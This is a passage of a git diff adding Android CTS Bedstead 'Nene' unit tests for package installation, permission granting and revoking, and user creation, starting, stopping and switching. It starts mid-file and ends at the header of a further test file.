+            "com.android.bedstead.nene.testapps.TestApp1";
+    private static final File TEST_APP_APK_FILE =
+            new File("/data/local/tmp/NeneTestApp1.apk");
+
+    private static final String ACCESS_NETWORK_STATE_PERMISSION =
+            "android.permission.ACCESS_NETWORK_STATE";
+
+    private static final TestApis sTestApis = new TestApis();
+    private static final Context sContext = sTestApis.context().instrumentedContext();
+    private static final UserReference sUser = sTestApis.users().instrumented();
+
+    @Test
+    public void installedOnUsers_includesUserWithPackageInstalled() {
+        sTestApis.packages().install(sUser, TEST_APP_APK_FILE);
+        PackageReference packageReference = sTestApis.packages().find(TEST_APP_PACKAGE_NAME);
+
+        try {
+            assertThat(packageReference.resolve().installedOnUsers()).contains(sUser);
+        } finally {
+            packageReference.uninstall(sUser);
+        }
+    }
+
+    @Test
+    public void installedOnUsers_doesNotIncludeUserWithoutPackageInstalled() {
+        UserReference user = sTestApis.users().createUser().create();
+        sTestApis.packages().install(sUser, TEST_APP_APK_FILE);
+        PackageReference packageReference = sTestApis.packages().find(TEST_APP_PACKAGE_NAME);
+
+        try {
+            assertThat(packageReference.resolve().installedOnUsers()).doesNotContain(user);
+        } finally {
+            packageReference.uninstall(sUser);
+            user.remove();
+        }
+    }
+
+    @Test
+    public void grantedPermission_includesKnownInstallPermission() {
+        // TODO(scottjonathan): This relies on the fact that the instrumented app declares
+        //  ACCESS_NETWORK_STATE - this should be replaced with TestApp with a useful query
+        PackageReference packageReference = sTestApis.packages().find(sContext.getPackageName());
+
+        assertThat(packageReference.resolve().grantedPermissions(sUser))
+                .contains(ACCESS_NETWORK_STATE_PERMISSION);
+    }
+}
diff --git a/common/device-side/bedstead/nene/src/test/java/com/android/bedstead/nene/packages/PackagesTest.java b/common/device-side/bedstead/nene/src/test/java/com/android/bedstead/nene/packages/PackagesTest.java
new file mode 100644
index 0000000..b9535ef
--- /dev/null
+++ b/common/device-side/bedstead/nene/src/test/java/com/android/bedstead/nene/packages/PackagesTest.java
@@ -0,0 +1,392 @@
+/*
+ * Copyright (C) 2021 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package com.android.bedstead.nene.packages;
+
+import static com.google.common.truth.Truth.assertThat;
+
+import static org.junit.Assume.assumeTrue;
+import static org.testng.Assert.assertThrows;
+
+import com.android.bedstead.nene.TestApis;
+import com.android.bedstead.nene.exceptions.NeneException;
+import com.android.bedstead.nene.users.UserReference;
+import com.android.bedstead.nene.utils.Versions;
+import com.android.compatibility.common.util.FileUtils;
+
+import org.junit.Ignore;
+import org.junit.Test;
+import org.junit.runner.RunWith;
+import org.junit.runners.JUnit4;
+
+import java.io.File;
+import java.io.FileInputStream;
+import java.io.IOException;
+
+@RunWith(JUnit4.class)
+public class PackagesTest {
+    private static final String INPUT_METHODS_FEATURE = "android.software.input_methods";
+    private static final String NON_EXISTING_PACKAGE = "com.package.does.not.exist";
+
+    // Controlled by AndroidTest.xml
+    private static final String TEST_APP_PACKAGE_NAME =
+            "com.android.bedstead.nene.testapps.TestApp1";
+    private static final File TEST_APP_APK_FILE = new File("/data/local/tmp/NeneTestApp1.apk");
+    private static final File NON_EXISTING_APK_FILE =
+            new File("/data/local/tmp/ThisApkDoesNotExist.apk");
+    private static final byte[] TEST_APP_BYTES = loadBytes(TEST_APP_APK_FILE);
+
+    private final TestApis mTestApis = new TestApis();
+    private final UserReference mUser = mTestApis.users().instrumented();
+    private final PackageReference mExistingPackage =
+            mTestApis.packages().find("com.android.providers.telephony");
+    private final PackageReference mTestAppReference =
+            mTestApis.packages().find(TEST_APP_PACKAGE_NAME);
+    private final PackageReference mDifferentTestAppReference =
+            mTestApis.packages().find(NON_EXISTING_PACKAGE);
+    private final UserReference mNonExistingUser = mTestApis.users().find(99999);
+    private final File mApkFile = new File("");
+
+    private static byte[] loadBytes(File file) {
+        try (FileInputStream fis = new FileInputStream(file)) {
+            return FileUtils.readInputStreamFully(fis);
+        } catch (IOException e) {
+            throw new AssertionError("Could not read file bytes");
+        }
+    }
+
+    @Test
+    public void construct_nullTestApis_throwsException() {
+        assertThrows(NullPointerException.class, () -> new Packages(/* testApis= */ null));
+    }
+
+    @Test
+    public void construct_constructs() {
+        new Packages(mTestApis); // Doesn't throw any exceptions
+    }
+
+    @Test
+    public void features_noUserSpecified_containsKnownFeature() {
+        assertThat(mTestApis.packages().features()).contains(INPUT_METHODS_FEATURE);
+    }
+
+    @Test
+    public void all_containsKnownPackage() {
+        assertThat(mTestApis.packages().all()).contains(mExistingPackage);
+    }
+
+    @Test
+    public void find_nullPackageName_throwsException() {
+        assertThrows(NullPointerException.class, () -> mTestApis.packages().find(null));
+    }
+
+    @Test
+    public void find_existingPackage_returnsPackageReference() {
+        assertThat(mTestApis.packages().find(mExistingPackage.packageName())).isNotNull();
+    }
+
+    @Test
+    public void find_nonExistingPackage_returnsPackageReference() {
+        assertThat(mTestApis.packages().find(NON_EXISTING_PACKAGE)).isNotNull();
+    }
+
+    @Test
+    public void installedForUser_nullUserReference_throwsException() {
+        assertThrows(NullPointerException.class,
+                () -> mTestApis.packages().installedForUser(/* user= */ null));
+    }
+
+    @Test
+    public void installedForUser_containsPackageInstalledForUser() {
+        PackageReference packageReference = mTestApis.packages().install(mUser, TEST_APP_APK_FILE);
+
+        try {
+            assertThat(mTestApis.packages().installedForUser(mUser)).contains(packageReference);
+        } finally {
+            packageReference.uninstall(mUser);
+        }
+    }
+
+    @Test
+    public void installedForUser_doesNotContainPackageNotInstalledForUser() {
+        PackageReference packageReference = mTestApis.packages().install(mUser, TEST_APP_APK_FILE);
+
+        try (UserReference otherUser = mTestApis.users().createUser().create()) {
+            assertThat(mTestApis.packages().installedForUser(otherUser))
+                    .doesNotContain(packageReference);
+        } finally {
+            packageReference.uninstall(mUser);
+        }
+    }
+
+    @Test
+    public void install_nonExistingPackage_throwsException() {
+        assertThrows(NeneException.class,
+                () -> mTestApis.packages().install(mUser, NON_EXISTING_APK_FILE));
+    }
+
+    @Test
+    public void install_nullUser_throwsException() {
+        assertThrows(NullPointerException.class,
+                () -> mTestApis.packages().install(/* user= */ null, mApkFile));
+    }
+
+    @Test
+    public void install_byteArray_nullUser_throwsException() {
+        assertThrows(NullPointerException.class,
+                () -> mTestApis.packages().install(/* user= */ null, TEST_APP_BYTES));
+    }
+
+    @Test
+    public void install_nullApkFile_throwsException() {
+        assertThrows(NullPointerException.class,
+                () -> mTestApis.packages().install(mUser, (File) /* apkFile= */ null));
+    }
+
+    @Test
+    public void install_nullByteArray_throwsException() {
+        assertThrows(NullPointerException.class,
+                () -> mTestApis.packages().install(mUser, (byte[]) /* apkFile= */ null));
+    }
+
+    @Test
+    public void install_instrumentedUser_isInstalled() {
+        PackageReference packageReference =
+                mTestApis.packages().install(mTestApis.users().instrumented(), TEST_APP_APK_FILE);
+
+        try {
+            assertThat(packageReference.resolve().installedOnUsers())
+                    .contains(mTestApis.users().instrumented());
+        } finally {
+            packageReference.uninstall(mTestApis.users().instrumented());
+        }
+    }
+
+    @Test
+    public void install_byteArray_instrumentedUser_isInstalled() {
+        PackageReference packageReference =
+                mTestApis.packages().install(mTestApis.users().instrumented(), TEST_APP_BYTES);
+
+        try {
+            assertThat(packageReference.resolve().installedOnUsers())
+                    .contains(mTestApis.users().instrumented());
+        } finally {
+            packageReference.uninstall(mTestApis.users().instrumented());
+        }
+    }
+
+    @Test
+    public void install_differentUser_isInstalled() {
+        UserReference user = mTestApis.users().createUser().createAndStart();
+        PackageReference packageReference =
+                mTestApis.packages().install(user, TEST_APP_APK_FILE);
+
+        try {
+            assertThat(packageReference.resolve().installedOnUsers()).contains(user);
+        } finally {
+            user.remove();
+        }
+    }
+
+    @Test
+    public void install_byteArray_differentUser_isInstalled() {
+        UserReference user = mTestApis.users().createUser().createAndStart();
+        PackageReference packageReference = mTestApis.packages().install(user, TEST_APP_BYTES);
+
+        try {
+            assertThat(packageReference.resolve().installedOnUsers()).contains(user);
+        } finally {
+            user.remove();
+        }
+    }
+
+    @Test
+    public void install_userNotStarted_throwsException() {
+        UserReference user = mTestApis.users().createUser().create().stop();
+
+        try {
+            assertThrows(NeneException.class, () -> mTestApis.packages().install(user,
+                    TEST_APP_APK_FILE));
+        } finally {
+            user.remove();
+        }
+    }
+
+    @Test
+    public void install_byteArray_userNotStarted_throwsException() {
+        UserReference user = mTestApis.users().createUser().create().stop();
+
+        try {
+            assertThrows(NeneException.class, () -> mTestApis.packages().install(user,
+                    TEST_APP_BYTES));
+        } finally {
+            user.remove();
+        }
+    }
+
+    @Test
+    public void install_userDoesNotExist_throwsException() {
+        assertThrows(NeneException.class, () -> mTestApis.packages().install(mNonExistingUser,
+                TEST_APP_APK_FILE));
+    }
+
+    @Test
+    public void install_byteArray_userDoesNotExist_throwsException() {
+        assertThrows(NeneException.class, () -> mTestApis.packages().install(mNonExistingUser,
+                TEST_APP_BYTES));
+    }
+
+    @Test
+    public void install_alreadyInstalledForUser_installs() {
+        PackageReference packageReference = mTestApis.packages().install(mUser, TEST_APP_APK_FILE);
+
+        try {
+            packageReference = mTestApis.packages().install(mUser, TEST_APP_APK_FILE);
+            assertThat(packageReference.resolve().installedOnUsers()).contains(mUser);
+        } finally {
+            packageReference.uninstall(mUser);
+        }
+    }
+
+    @Test
+    public void install_byteArray_alreadyInstalledForUser_installs() {
+        PackageReference packageReference = mTestApis.packages().install(mUser, TEST_APP_BYTES);
+
+        try {
+            packageReference = mTestApis.packages().install(mUser, TEST_APP_BYTES);
+            assertThat(packageReference.resolve().installedOnUsers()).contains(mUser);
+        } finally {
+            packageReference.uninstall(mUser);
+        }
+    }
+
+    @Test
+    public void install_alreadyInstalledOnOtherUser_installs() {
+        PackageReference packageReference = null;
+
+        try (UserReference otherUser = mTestApis.users().createUser().createAndStart()) {
+            mTestApis.packages().install(otherUser, TEST_APP_APK_FILE);
+
+            packageReference =
+                    mTestApis.packages().install(mUser, TEST_APP_APK_FILE);
+
+            assertThat(packageReference.resolve().installedOnUsers()).contains(mUser);
+        } finally {
+            if (packageReference != null) {
+                packageReference.uninstall(mUser);
+            }
+        }
+    }
+
+    @Test
+    public void install_byteArray_alreadyInstalledOnOtherUser_installs() {
+        PackageReference packageReference = null;
+
+        try (UserReference otherUser = mTestApis.users().createUser().createAndStart()) {
+            mTestApis.packages().install(otherUser, TEST_APP_BYTES);
+
+            packageReference = mTestApis.packages().install(mUser, TEST_APP_BYTES);
+
+            assertThat(packageReference.resolve().installedOnUsers()).contains(mUser);
+        } finally {
+            if (packageReference != null) {
+                packageReference.uninstall(mUser);
+            }
+        }
+    }
+
+    @Test
+    public void keepUninstalledPackages_packageIsUninstalled_packageStillResolves() {
+        assumeTrue("keepUninstalledPackages is only supported on S+",
+                Versions.isRunningOn(Versions.S, "S"));
+
+        mTestApis.packages().install(mUser, TEST_APP_APK_FILE);
+        mTestApis.packages().keepUninstalledPackages()
+                .add(mTestAppReference)
+                .commit();
+
+        try {
+            mTestAppReference.uninstall(mUser);
+
+            assertThat(mTestAppReference.resolve()).isNotNull();
+        } finally {
+            mTestApis.packages().keepUninstalledPackages().clear();
+        }
+    }
+
+    @Test
+    @Ignore("While using adb calls this is not reliable, enable once we use framework calls for uninstall")
+    public void keepUninstalledPackages_packageRemovedFromList_packageIsUninstalled_packageDoesNotResolve() {
+        assumeTrue("keepUninstalledPackages is only supported on S+",
+                Versions.isRunningOn(Versions.S, "S"));
+
+        mTestApis.packages().install(mUser, TEST_APP_APK_FILE);
+        mTestApis.packages().keepUninstalledPackages()
+                .add(mTestAppReference)
+                .commit();
+        mTestApis.packages().keepUninstalledPackages()
+                .add(mDifferentTestAppReference)
+                .commit();
+
+        try {
+            mTestAppReference.uninstall(mUser);
+
+            assertThat(mTestAppReference.resolve()).isNull();
+        } finally {
+            mTestApis.packages().keepUninstalledPackages().clear();
+        }
+    }
+
+    @Test
+    @Ignore("While using adb calls this is not reliable, enable once we use framework calls for uninstall")
+    public void keepUninstalledPackages_cleared_packageIsUninstalled_packageDoesNotResolve() {
+        assumeTrue("keepUninstalledPackages is only supported on S+",
+                Versions.isRunningOn(Versions.S, "S"));
+
+        mTestApis.packages().install(mUser, TEST_APP_APK_FILE);
+
+        mTestApis.packages().keepUninstalledPackages()
+                .add(mTestAppReference)
+                .commit();
+        mTestApis.packages().keepUninstalledPackages().clear();
+
+        try {
+            mTestAppReference.uninstall(mUser);
+
+            assertThat(mTestAppReference.resolve()).isNull();
+        } finally {
+            mTestApis.packages().keepUninstalledPackages().clear();
+        }
+    }
+
+    @Test
+    @Ignore("While using adb calls this is not reliable, enable once we use framework calls for uninstall")
+    public void keepUninstalledPackages_packageRemovedFromList_packageAlreadyUninstalled_packageDoesNotResolve() {
+        assumeTrue("keepUninstalledPackages is only supported on S+",
+                Versions.isRunningOn(Versions.S, "S"));
+
+        mTestApis.packages().install(mUser, TEST_APP_APK_FILE);
+        mTestApis.packages().keepUninstalledPackages().add(mTestAppReference).commit();
+        mTestAppReference.uninstall(mUser);
+        mTestApis.packages().keepUninstalledPackages().add(mDifferentTestAppReference).commit();
+
+        try {
+            assertThat(mTestAppReference.resolve()).isNull();
+        } finally {
+            mTestApis.packages().keepUninstalledPackages().clear();
+        }
+    }
+}
diff --git a/common/device-side/bedstead/nene/src/test/java/com/android/bedstead/nene/permissions/PermissionsTest.java b/common/device-side/bedstead/nene/src/test/java/com/android/bedstead/nene/permissions/PermissionsTest.java
new file mode 100644
index 0000000..c985d39
--- /dev/null
+++ b/common/device-side/bedstead/nene/src/test/java/com/android/bedstead/nene/permissions/PermissionsTest.java
@@ -0,0 +1,244 @@
+/*
+ * Copyright (C) 2021 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package com.android.bedstead.nene.permissions;
+
+import static android.content.pm.PackageManager.PERMISSION_DENIED;
+import static android.content.pm.PackageManager.PERMISSION_GRANTED;
+
+import static com.google.common.truth.Truth.assertThat;
+
+import static org.junit.Assume.assumeTrue;
+import static org.testng.Assert.assertThrows;
+
+import android.content.Context;
+import android.os.Build;
+
+import com.android.bedstead.nene.TestApis;
+import com.android.bedstead.nene.exceptions.NeneException;
+import com.android.bedstead.nene.utils.ShellCommandUtils;
+import com.android.bedstead.nene.utils.Versions;
+
+import org.junit.Test;
+import org.junit.runner.RunWith;
+import org.junit.runners.JUnit4;
+
+@RunWith(JUnit4.class)
+public class PermissionsTest {
+
+    private static final String PERMISSION_HELD_BY_SHELL =
+            "android.permission.INTERACT_ACROSS_PROFILES";
+    private static final TestApis sTestApis = new TestApis();
+    private static final Context sContext = sTestApis.context().instrumentedContext();
+
+    private static final String NON_EXISTING_PERMISSION = "permissionWhichDoesNotExist";
+
+    // We expect these permissions are listed in the Manifest
+    private static final String INSTALL_PERMISSION = "android.permission.CHANGE_WIFI_STATE";
+    private static final String DECLARED_PERMISSION_NOT_HELD_BY_SHELL =
+            "android.permission.INTERNET";
+
+    @Test
+    public void default_permissionIsNotGranted() {
+        assertThat(sContext.checkSelfPermission(PERMISSION_HELD_BY_SHELL))
+                .isEqualTo(PERMISSION_DENIED);
+    }
+
+    @Test
+    public void withPermission_shellPermission_permissionIsGranted() {
+        assumeTrue("assume shell identity is only available on Q+",
+                Build.VERSION.SDK_INT >= Build.VERSION_CODES.Q);
+
+        try (PermissionContext p =
+                     sTestApis.permissions().withPermission(PERMISSION_HELD_BY_SHELL)) {
+            assertThat(sContext.checkSelfPermission(PERMISSION_HELD_BY_SHELL))
+                    .isEqualTo(PERMISSION_GRANTED);
+        }
+    }
+
+    @Test
+    public void withoutPermission_alreadyGranted_androidPreQ_throwsException() {
+        assumeTrue("assume shell identity is only available on Q+",
+                Build.VERSION.SDK_INT < Build.VERSION_CODES.Q);
+
+        assertThrows(NeneException.class,
+                () -> sTestApis.permissions().withoutPermission(
+                        DECLARED_PERMISSION_NOT_HELD_BY_SHELL));
+    }
+
+    @Test
+    public void withoutPermission_permissionIsNotGranted() {
+        assumeTrue("assume shell identity is only available on Q+",
+                Build.VERSION.SDK_INT >= Build.VERSION_CODES.Q);
+
+        try (PermissionContext p = sTestApis.permissions().withPermission(PERMISSION_HELD_BY_SHELL);
+             PermissionContext p2 = sTestApis.permissions().withoutPermission(
+                     PERMISSION_HELD_BY_SHELL)) {
+
+            assertThat(sContext.checkSelfPermission(PERMISSION_HELD_BY_SHELL))
+                    .isEqualTo(PERMISSION_DENIED);
+        }
+    }
+
+    @Test
+    public void autoclose_withoutPermission_permissionIsGrantedAgain() {
+        assumeTrue("assume shell identity is only available on Q+",
+                Build.VERSION.SDK_INT >= Build.VERSION_CODES.Q);
+
+        try (PermissionContext p =
+                     sTestApis.permissions().withPermission(PERMISSION_HELD_BY_SHELL)) {
+            try (PermissionContext p2 =
+                         sTestApis.permissions().withoutPermission(PERMISSION_HELD_BY_SHELL)) {
+                // Intentionally empty as we're testing that autoclosing restores the permission
+            }
+
+            assertThat(sContext.checkSelfPermission(PERMISSION_HELD_BY_SHELL))
+                    .isEqualTo(PERMISSION_GRANTED);
+        }
+    }
+
+    @Test
+    public void withoutPermission_installPermission_androidPreQ_throwsException() {
+        assumeTrue("assume shell identity is only available on Q+",
+                Build.VERSION.SDK_INT < Build.VERSION_CODES.Q);
+
+        assertThrows(NeneException.class,
+                () -> sTestApis.permissions().withoutPermission(INSTALL_PERMISSION));
+    }
+
+    @Test
+    public void withoutPermission_permissionIsAlreadyGrantedInInstrumentedApp_permissionIsNotGranted() {
+        assumeTrue("assume shell identity is only available on Q+",
+                Build.VERSION.SDK_INT >= Build.VERSION_CODES.Q);
+
+        try (PermissionContext p =
+                    sTestApis.permissions().withoutPermission(
+                            DECLARED_PERMISSION_NOT_HELD_BY_SHELL)) {
+            assertThat(
+                    sContext.checkSelfPermission(DECLARED_PERMISSION_NOT_HELD_BY_SHELL))
+                    .isEqualTo(PERMISSION_DENIED);
+        }
+    }
+
+    @Test
+    public void withoutPermission_permissionIsAlreadyGrantedInInstrumentedApp_androidPreQ_throwsException() {
+        assumeTrue("assume shell identity is only available on Q+",
+                Build.VERSION.SDK_INT < Build.VERSION_CODES.Q);
+
+        assertThrows(NeneException.class,
+                () -> sTestApis.permissions().withoutPermission(
+                        DECLARED_PERMISSION_NOT_HELD_BY_SHELL));
+    }
+
+    @Test
+    public void withPermission_permissionIsAlreadyGrantedInInstrumentedApp_permissionIsGranted() {
+        try (PermissionContext p =
+                    sTestApis.permissions().withPermission(DECLARED_PERMISSION_NOT_HELD_BY_SHELL)) {
+            assertThat(
+                    sContext.checkSelfPermission(DECLARED_PERMISSION_NOT_HELD_BY_SHELL))
+                    .isEqualTo(PERMISSION_GRANTED);
+        }
+    }
+
+    @Test
+    public void withPermission_nonExistingPermission_throwsException() {
+        assertThrows(NeneException.class,
+                () -> sTestApis.permissions().withPermission(NON_EXISTING_PERMISSION));
+    }
+
+    @Test
+    public void withoutPermission_nonExistingPermission_doesNotThrowException() {
+        try (PermissionContext p =
+                     sTestApis.permissions().withoutPermission(NON_EXISTING_PERMISSION)) {
+            // Intentionally empty
+        }
+    }
+
+    @Test
+    public void withPermissionAndWithoutPermission_bothApplied() {
+        try (PermissionContext p = sTestApis.permissions().withPermission(PERMISSION_HELD_BY_SHELL)
+                .withoutPermission(DECLARED_PERMISSION_NOT_HELD_BY_SHELL)) {
+
+            assertThat(sContext.checkSelfPermission(PERMISSION_HELD_BY_SHELL))
+                    .isEqualTo(PERMISSION_GRANTED);
+            assertThat(sContext.checkSelfPermission(DECLARED_PERMISSION_NOT_HELD_BY_SHELL))
+                    .isEqualTo(PERMISSION_DENIED);
+        }
+    }
+
+    @Test
+    public void withoutPermissionAndWithPermission_bothApplied() {
+        try (PermissionContext p = sTestApis.permissions()
+                .withoutPermission(DECLARED_PERMISSION_NOT_HELD_BY_SHELL)
+                .withPermission(PERMISSION_HELD_BY_SHELL)) {
+
+            assertThat(sContext.checkSelfPermission(PERMISSION_HELD_BY_SHELL))
+                    .isEqualTo(PERMISSION_GRANTED);
+            assertThat(sContext.checkSelfPermission(DECLARED_PERMISSION_NOT_HELD_BY_SHELL))
+                    .isEqualTo(PERMISSION_DENIED);
+        }
+    }
+
+    @Test
+    public void withPermissionAndWithoutPermission_contradictoryPermissions_throwsException() {
+        assertThrows(NeneException.class, () -> sTestApis.permissions()
+                .withPermission(DECLARED_PERMISSION_NOT_HELD_BY_SHELL)
+                .withoutPermission(DECLARED_PERMISSION_NOT_HELD_BY_SHELL));
+    }
+
+    @Test
+    public void withoutPermissionAndWithPermission_contradictoryPermissions_throwsException() {
+        assertThrows(NeneException.class, () -> sTestApis.permissions()
+                .withoutPermission(DECLARED_PERMISSION_NOT_HELD_BY_SHELL)
+                .withPermission(DECLARED_PERMISSION_NOT_HELD_BY_SHELL));
+    }
+
+    @Test
+    public void withPermissions_androidSAndAbove_restoresPreviousPermissionContext() {
+        assumeTrue("restoring permissions is only available on S+",
+                Versions.isRunningOn(Versions.S, "S"));
+
+        ShellCommandUtils.uiAutomation()
+                .adoptShellPermissionIdentity(DECLARED_PERMISSION_NOT_HELD_BY_SHELL);
+
+        PermissionContext p =
+                     sTestApis.permissions()
+                             .withPermission(DECLARED_PERMISSION_NOT_HELD_BY_SHELL);
+        p.close();
+
+        assertThat(sContext.checkSelfPermission(DECLARED_PERMISSION_NOT_HELD_BY_SHELL))
+                .isEqualTo(PERMISSION_DENIED);
+    }
+
+    @Test
+    public void withoutPermission_androidSAndAbove_restoresPreviousPermissionContext() {
+        assumeTrue("restoring permissions is only available on S+",
+                Versions.isRunningOn(Versions.S, "S"));
+
+        ShellCommandUtils.uiAutomation().adoptShellPermissionIdentity(PERMISSION_HELD_BY_SHELL);
+
+        PermissionContext p =
+                     sTestApis.permissions()
+                             .withoutPermission(PERMISSION_HELD_BY_SHELL);
+        p.close();
+
+        assertThat(sContext.checkSelfPermission(PERMISSION_HELD_BY_SHELL))
+                .isEqualTo(PERMISSION_GRANTED);
+    }
+
+    // TODO(scottjonathan): Once we can install the testapp without granting all runtime
+    //  permissions, add a test that this works pre-Q
+}
diff --git a/common/device-side/bedstead/nene/src/test/java/com/android/bedstead/nene/users/UserReferenceTest.java b/common/device-side/bedstead/nene/src/test/java/com/android/bedstead/nene/users/UserReferenceTest.java
new file mode 100644
index 0000000..f0a2bf8
--- /dev/null
+++ b/common/device-side/bedstead/nene/src/test/java/com/android/bedstead/nene/users/UserReferenceTest.java
@@ -0,0 +1,216 @@
+/*
+ * Copyright (C) 2021 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package com.android.bedstead.nene.users;
+
+import static android.Manifest.permission.INTERACT_ACROSS_USERS_FULL;
+import static android.content.Intent.FLAG_ACTIVITY_CLEAR_TASK;
+import static android.content.Intent.FLAG_ACTIVITY_NEW_TASK;
+import static android.os.Build.VERSION.SDK_INT;
+
+import static com.google.common.truth.Truth.assertThat;
+
+import static org.junit.Assume.assumeTrue;
+import static org.testng.Assert.assertThrows;
+
+import android.content.Context;
+import android.content.Intent;
+import android.os.Build;
+
+import com.android.bedstead.nene.TestApis;
+import com.android.bedstead.nene.exceptions.NeneException;
+import com.android.bedstead.nene.permissions.PermissionContext;
+import com.android.eventlib.EventLogs;
+import com.android.eventlib.events.activities.ActivityCreatedEvent;
+
+import org.junit.Test;
+import org.junit.runner.RunWith;
+import org.junit.runners.JUnit4;
+
+@RunWith(JUnit4.class)
+public class UserReferenceTest {
+    private static final int NON_EXISTING_USER_ID = 10000;
+    private static final int USER_ID = NON_EXISTING_USER_ID;
+    private static final String USER_NAME = "userName";
+    private static final String TEST_ACTIVITY_NAME = "com.android.bedstead.nene.test.Activity";
+
+    private static final TestApis sTestApis = new TestApis();
+    private static final Context sContext = sTestApis.context().instrumentedContext();
+
+    @Test
+    public void id_returnsId() {
+        assertThat(sTestApis.users().find(USER_ID).id()).isEqualTo(USER_ID);
+    }
+
+    @Test
+    public void userHandle_referencesId() {
+        assertThat(sTestApis.users().find(USER_ID).userHandle().getIdentifier()).isEqualTo(USER_ID);
+    }
+
+    @Test
+    public void resolve_doesNotExist_returnsNull() {
+        assertThat(sTestApis.users().find(NON_EXISTING_USER_ID).resolve()).isNull();
+    }
+
+    @Test
+    public void resolve_doesExist_returnsUser() {
+        UserReference userReference = sTestApis.users().createUser().create();
+
+        try {
+            assertThat(userReference.resolve()).isNotNull();
+        } finally {
+            userReference.remove();
+        }
+    }
+
+    @Test
+    public void resolve_doesExist_userHasCorrectDetails() {
+        UserReference userReference = sTestApis.users().createUser().name(USER_NAME).create();
+
+        try {
+            User user = userReference.resolve();
+            assertThat(user.name()).isEqualTo(USER_NAME);
+        } finally {
+            userReference.remove();
+        }
+    }
+
+    @Test
+    public void remove_userDoesNotExist_throwsException() {
+        assertThrows(NeneException.class, () -> sTestApis.users().find(USER_ID).remove());
+    }
+
+    @Test
+    public void remove_userExists_removesUser() {
+        UserReference user = sTestApis.users().createUser().create();
+
+        user.remove();
+
+        assertThat(sTestApis.users().all()).doesNotContain(user);
+    }
+
+    @Test
+    public void start_userDoesNotExist_throwsException() {
+        assertThrows(NeneException.class,
+                () -> sTestApis.users().find(NON_EXISTING_USER_ID).start());
+    }
+
+    @Test
+    public void start_userNotStarted_userIsStarted() {
+        UserReference user = sTestApis.users().createUser().create().stop();
+
+        user.start();
+
+        try {
+            assertThat(user.resolve().state()).isEqualTo(User.UserState.RUNNING_UNLOCKED);
+        } finally {
+            user.remove();
+        }
+    }
+
+    @Test
+    public void start_userAlreadyStarted_doesNothing() {
+        UserReference user = sTestApis.users().createUser().createAndStart();
+
+        user.start();
+
+        try {
+            assertThat(user.resolve().state()).isEqualTo(User.UserState.RUNNING_UNLOCKED);
+        } finally {
+            user.remove();
+        }
+    }
+
+    @Test
+    public void stop_userDoesNotExist_throwsException() {
+        assertThrows(NeneException.class,
+                () -> sTestApis.users().find(NON_EXISTING_USER_ID).stop());
+    }
+
+    @Test
+    public void stop_userStarted_userIsStopped() {
+        UserReference user = sTestApis.users().createUser().createAndStart();
+
+        user.stop();
+
+        try {
+            assertThat(user.resolve().state()).isEqualTo(User.UserState.NOT_RUNNING);
+        } finally {
+            user.remove();
+        }
+    }
+
+    @Test
+    public void stop_userNotStarted_doesNothing() {
+        UserReference user = sTestApis.users().createUser().create().stop();
+
+        user.stop();
+
+        try {
+            assertThat(user.resolve().state()).isEqualTo(User.UserState.NOT_RUNNING);
+        } finally {
+            user.remove();
+        }
+    }
+
+    @Test
+    public void switchTo_userIsSwitched() {
+        assumeTrue(
+                "INTERACT_ACROSS_USERS_FULL is only usable by tests on Q+",
+                SDK_INT >= Build.VERSION_CODES.Q);
+        UserReference user = sTestApis.users().createUser().createAndStart();
+
+        try (PermissionContext p =
+                     sTestApis.permissions().withPermission(INTERACT_ACROSS_USERS_FULL)) {
+
+            sTestApis.packages().find(sContext.getPackageName()).install(user);
+            user.switchTo();
+
+            Intent intent = new Intent();
+            intent.setPackage(sContext.getPackageName());
+            intent.setClassName(sContext.getPackageName(), TEST_ACTIVITY_NAME);
+            intent.setFlags(FLAG_ACTIVITY_NEW_TASK | FLAG_ACTIVITY_CLEAR_TASK);
+            sContext.startActivityAsUser(intent, user.userHandle());
+
+            EventLogs<ActivityCreatedEvent> logs =
+                    ActivityCreatedEvent.queryPackage(sContext.getPackageName())
+                            .whereActivity().className().isEqualTo(TEST_ACTIVITY_NAME)
+                            .onUser(user.userHandle());
+            assertThat(logs.poll()).isNotNull();
+        } finally {
+            sTestApis.users().system().switchTo();
+            user.remove();
+        }
+    }
+
+    @Test
+    public void stop_isWorkProfileOfCurrentUser_stops() {
+        UserType managedProfileType =
+                sTestApis.users().supportedType(UserType.MANAGED_PROFILE_TYPE_NAME);
+        UserReference profileUser = sTestApis.users().createUser()
+                .type(managedProfileType)
+                .parent(sTestApis.users().instrumented())
+                .createAndStart();
+
+        try {
+            profileUser.stop();
+
+            assertThat(profileUser.resolve().state()).isEqualTo(User.UserState.NOT_RUNNING);
+        } finally {
+            profileUser.remove();
+        }
+    }
+}
diff --git a/common/device-side/bedstead/nene/src/test/java/com/android/bedstead/nene/users/UserTest.java b/common/device-side/bedstead/nene/src/test/java/com/android/bedstead/nene/users/UserTest.java
new file mode 100644
index 0000000..0cc4398
--- /dev/null
+++ b/common/device-side/bedstead/nene/src/test/java/com/android/bedstead/nene/users/UserTest.java
@@ -0,0 +1,204 @@
+/*
+ * Copyright (C) 2021 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
